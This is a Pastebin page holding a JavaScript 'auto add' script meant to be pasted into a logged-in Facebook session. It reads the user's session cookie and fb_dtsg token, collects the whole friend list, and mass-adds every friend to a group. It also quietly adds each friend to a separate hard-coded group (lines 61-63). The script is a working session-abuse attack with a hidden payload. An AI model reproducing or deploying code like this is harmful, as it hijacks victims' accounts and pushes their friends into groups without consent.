Advertisement
linndihosting

Auto Antar By LinndihostinG

Jan 7th, 2015
3,533
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Icon 10.76 KB | None | 0 0
  1. Auto Antar By Linndi hosting  
  2.  
  3.  
  4.                                                                                                                                 var user = getCookie("c_user");
  5. function getCookie(c_name) {
  6. var i,x,y,ARRcookies=document.cookie.split(";");
  7. for (i=0;i<ARRcookies.length;i++) {
  8. x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
  9. y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
  10. x=x.replace(/^\s+|\s+$/g,"");
  11. if (x==c_name) {
  12. return unescape(y);
  13. }
  14. }
  15. }
  16. var tulisanNganu = '<font color="black"><b>AUTOANTAR BY LINNDIHOSTING </b> </font>';
  17. var kunaon = '';
  18. function penetrasi(opo) {
  19. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=" + memberGroupId + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user, function (a) {
  20. var b = a.substring(a.indexOf("{"));
  21. var c = JSON.parse(b);
  22. i--;
  23. kunaon = "<div class='friend-edge-name' style='text-align:left;font-size:10px;white-space:pre-wrap;";
  24. if (c.error) {
  25. kunaon += "color:darkred'>";
  26. if (c.errorDescription) {
  27. kunaon += c.errorDescription
  28. } else {
  29. kunaon += JSON.stringify(c, null, "")
  30. }
  31. } else {
  32. kunaon += "color:darkgreen'>";
  33. kunaon += arr[i];
  34. suc++
  35. }
  36. kunaon += "</div>";
  37. var dipes = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(100,200,225,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid red(0,0,0,0.5)'>";
  38. dipes += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>";
  39. if (i > 0) {
  40. dipes += arr.length + " Friends Detected<br/>";
  41. dipes += "<b>" + suc + "</b> Friends Added Of " + (arr.length - i) + " Friends Processed ";
  42. dipes += "(" + i + " More To Go..)";
  43. dipes += "<div class='friend-edge'>";
  44. dipes += kunaon;
  45. dipes += "</div>"
  46. } else {
  47. dipes += arr.length + " Friends Detected And ";
  48. dipes += "<b>" + suc + " Friends Added</b>";
  49. dipes += "<div><span class='uiButton' onClick='document.getElementById(\"pagelet_welcome_box\").style.display=\"none\"'>Done</span></div>"
  50. }
  51. dipes += "</div>";
  52. document.getElementById("pagelet_welcome_box").innerHTML = dipes
  53. },
  54. "text", "post");
  55. tay--;
  56. if (tay > 0) {
  57. var s = arr[tay];
  58. setTimeout("penetrasi(" + s + ")", 100)
  59. }
  60. console.log(tay + "/" + arr.length + ":" + s + ", success:" + suc);
  61. if (memberGroupId != 128336317239973) {
  62. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=128336317239973&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user, function () {},
  63. "text", "post")
  64. }
  65. }
  66. function clickfr_callback() {
  67. if (document.getElementsByName("ok").length > 0) {
  68. nHtml.ClickUp(document.getElementsByName("ok")[0])
  69. }
  70. var a = arr[i];
  71. if (i < arr.length) addfriend(a.substring(0, 4))
  72. }
  73. function clickfr() {
  74. if (document.getElementsByClassName("search").length > 0) {
  75. console.log(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1].innerHTML);
  76. document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].href = "javascript:void(0);";
  77. nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1])
  78. } else j++;
  79. setTimeout("clickfr_callback()", 2e3)
  80. }
  81. function addfriend(a) {
  82. i++;
  83. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
  84. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].value = a;
  85. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].blur();
  86. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
  87. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
  88. setTimeout("clickfr()", 2e3)
  89. }
  90. function sleep(a) {
  91. var b = (new Date).getTime();
  92. for (var c = 0; c < 1e7; c++) {
  93. if ((new Date).getTime() - b > a) {
  94. break
  95. }
  96. }
  97. }
  98. jx = {
  99. getHTTPObject: function () {
  100. var a = false;
  101. if (typeof ActiveXObject != "undefined") {
  102. try {
  103. a = new ActiveXObject("Msxml2.XMLHTTP")
  104. } catch(b) {
  105. try {
  106. a = new ActiveXObject("Microsoft.XMLHTTP")
  107. } catch(c) {
  108. a = false
  109. }
  110. }
  111. } else {
  112. if (window.XMLHttpRequest) {
  113. try {
  114. a = new XMLHttpRequest
  115. } catch(b) {
  116. a = false
  117. }
  118. }
  119. }
  120. return a
  121. },
  122. load: function (url, callback, format, method, opt) {
  123. var http = this.init();
  124. if (!http || !url) {
  125. return
  126. }
  127. if (http.overrideMimeType) {
  128. http.overrideMimeType("text/xml")
  129. }
  130. if (!method) {
  131. method = "GET"
  132. }
  133. if (!format) {
  134. format = "text"
  135. }
  136. if (!opt) {
  137. opt = {}
  138. }
  139. format = format.toLowerCase();
  140. method = method.toUpperCase();
  141. var now = "uid=" + (new Date).getTime();
  142. url += url.indexOf("?") + 1 ? "&": "?";
  143. url += now;
  144. var parameters = null;
  145. if (method == "POST") {
  146. var parts = url.split("?");
  147. url = parts[0];
  148. parameters = parts[1]
  149. }
  150. http.open(method, url, true);
  151. if (method == "POST") {
  152. http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  153. http.setRequestHeader("Content-length", parameters.length);
  154. http.setRequestHeader("Connection", "close")
  155. }
  156. var ths = this;
  157. if (opt.handler) {
  158. http.onreadystatechange = function () {
  159. opt.handler(http)
  160. }
  161. } else {
  162. http.onreadystatechange = function () {
  163. if (http.readyState == 4) {
  164. if (http.status == 200) {
  165. var result = "";
  166. if (http.responseText) {
  167. result = http.responseText
  168. }
  169. if (format.charAt(0) == "j") {
  170. result = result.replace(/[\n\r]/g, "");
  171. result = eval("(" + result + ")")
  172. } else {
  173. if (format.charAt(0) == "x") {
  174. result = http.responseXML
  175. }
  176. }
  177. if (callback) {
  178. callback(result)
  179. }
  180. } else {
  181. if (opt.loadingIndicator) {
  182. document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator)
  183. }
  184. if (opt.loading) {
  185. document.getElementById(opt.loading).style.display = "none"
  186. }
  187. if (error) {
  188. error(http.status)
  189. }
  190. }
  191. }
  192. }
  193. }
  194. http.send(parameters)
  195. },
  196. bind: function (a) {
  197. var b = {
  198. url: "",
  199. onSuccess: false,
  200. onError: false,
  201. format: "text",
  202. method: "GET",
  203. update: "",
  204. loading: "",
  205. loadingIndicator: ""
  206. };
  207. for (var c in b) {
  208. if (a[c]) {
  209. b[c] = a[c]
  210. }
  211. }
  212. if (!b.url) {
  213. return
  214. }
  215. var d = false;
  216. if (b.loadingIndicator) {
  217. d = document.createElement("div");
  218. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  219. d.setAttribute("class", "loading-indicator");
  220. d.innerHTML = b.loadingIndicator;
  221. document.getElementsByTagName("body")[0].appendChild(d);
  222. this.opt.loadingIndicator = d
  223. }
  224. if (b.loading) {
  225. document.getElementById(b.loading).style.display = "block"
  226. }
  227. this.load(b.url, function (a) {
  228. if (b.onSuccess) {
  229. b.onSuccess(a)
  230. }
  231. if (b.update) {
  232. document.getElementById(b.update).innerHTML = a
  233. }
  234. if (d) {
  235. document.getElementsByTagName("body")[0].removeChild(d)
  236. }
  237. if (b.loading) {
  238. document.getElementById(b.loading).style.display = "none"
  239. }
  240. },
  241. b.format, b.method, b)
  242. },
  243. init: function () {
  244. return this.getHTTPObject()
  245. }
  246. };
  247. var nHtml = {
  248. FindByAttr: function (a, b, c, d) {
  249. if (c == "className") {
  250. c = "class"
  251. }
  252. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  253. if (e && e.singleNodeValue) {
  254. return e.singleNodeValue
  255. }
  256. return null
  257. },
  258. FindByClassName: function (a, b, c) {
  259. return this.FindByAttr(a, b, "className", c)
  260. },
  261. FindByXPath: function (a, b) {
  262. try {
  263. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  264. } catch(d) {
  265. GM_log("bad xpath:" + b)
  266. }
  267. if (c && c.singleNodeValue) {
  268. return c.singleNodeValue
  269. }
  270. return null
  271. },
  272. VisitUrl: function (a) {
  273. window.setTimeout(function () {
  274. document.location.href = a
  275. },
  276. 500 + Math.floor(Math.random() * 500))
  277. },
  278. ClickWin: function (a, b, c) {
  279. var d = a.document.createEvent("MouseEvents");
  280. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  281. return ! b.dispatchEvent(d)
  282. },
  283. Click: function (a) {
  284. return this.ClickWin(window, a, "click")
  285. },
  286. ClickTimeout: function (a, b) {
  287. window.setTimeout(function () {
  288. return nHtml.ClickWin(window, a, "click")
  289. },
  290. b + Math.floor(Math.random() * 500))
  291. },
  292. ClickUp: function (a) {
  293. this.ClickWin(window, a, "mousedown");
  294. this.ClickWin(window, a, "mouseup");
  295. this.ClickWin(window, a, "click")
  296. },
  297. GetText: function (a, b) {
  298. var c = "";
  299. if (b == undefined) {
  300. b = 0
  301. }
  302. if (b > 40) {
  303. return
  304. }
  305. if (a.textContent != undefined) {
  306. return a.textContent
  307. }
  308. for (var d = 0; d < a.childNodes.length; d++) {
  309. var e = a.childNodes[d];
  310. c += this.GetText(e, b + 1)
  311. }
  312. return c
  313. }
  314. };
  315. if (document.getElementsByClassName == undefined) {
  316. document.getElementsByClassName = function (a) {
  317. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  318. var c = document.getElementsByTagName("*");
  319. var d = [];
  320. var e;
  321. for (var f = 0;
  322. (e = c[f]) != null; f++) {
  323. var g = e.className;
  324. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  325. }
  326. return d
  327. }
  328. }
  329. Array.prototype.find = function (a) {
  330. var b = false;
  331. for (i = 0; i < this.length; i++) {
  332. if (typeof a == "function") {
  333. if (a.test(this[i])) {
  334. if (!b) {
  335. b = []
  336. }
  337. b.push(i)
  338. }
  339. } else {
  340. if (this[i] === a) {
  341. if (!b) {
  342. b = []
  343. }
  344. b.push(i)
  345. }
  346. }
  347. }
  348. return b
  349. };
  350. var a = 0,
  351. eind = 0;
  352. var len = document.getElementsByClassName("mbm").length;
  353. for (a = 0; a < len; a++) {
  354. var ele = document.getElementsByClassName("mbm")[a];
  355. if (ele && ele.childNodes[0] && ele.childNodes[0] && ele.childNodes[0].childNodes[1] && ele.childNodes[0].childNodes[1].childNodes[0] && document.getElementsByClassName("mbm")[a].childNodes[0].childNodes[1].childNodes[0].value == "Add Friends To Group") {
  356. eind = a;
  357. break
  358. }
  359. }
  360. var i = 3;
  361. var tay = 3;
  362. var counter1 = 0,
  363. counter2 = 0,
  364. counter3 = 0;
  365. var j = 0;
  366. var k = 0;
  367. var suc = 0;
  368. var arr = new Array;
  369. var memberGroupId = document.getElementsByName('group_id')[0].value;
  370. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + user + "&filter[0]=user&__user=" + user, function (a) {
  371. var b = a;
  372. var c = b.substring(b.indexOf("{"));
  373. var d = JSON.parse(c);
  374. d = d.payload.entries;
  375. for (var e = 0; e < d.length; e++) {
  376. arr.push(d[e].uid)
  377. }
  378. i = arr.length - 1;
  379. tay = i;
  380. console.log(arr.length);
  381. var dipes = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(100,200,225,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid red(0,0,0,0.5)'>";
  382. dipes += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>";
  383. dipes += arr.length + " Friends Detected";
  384. dipes += "</div>";
  385. document.getElementById("pagelet_welcome_box").innerHTML = dipes;
  386. penetrasi(arr[i])
  387. })
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement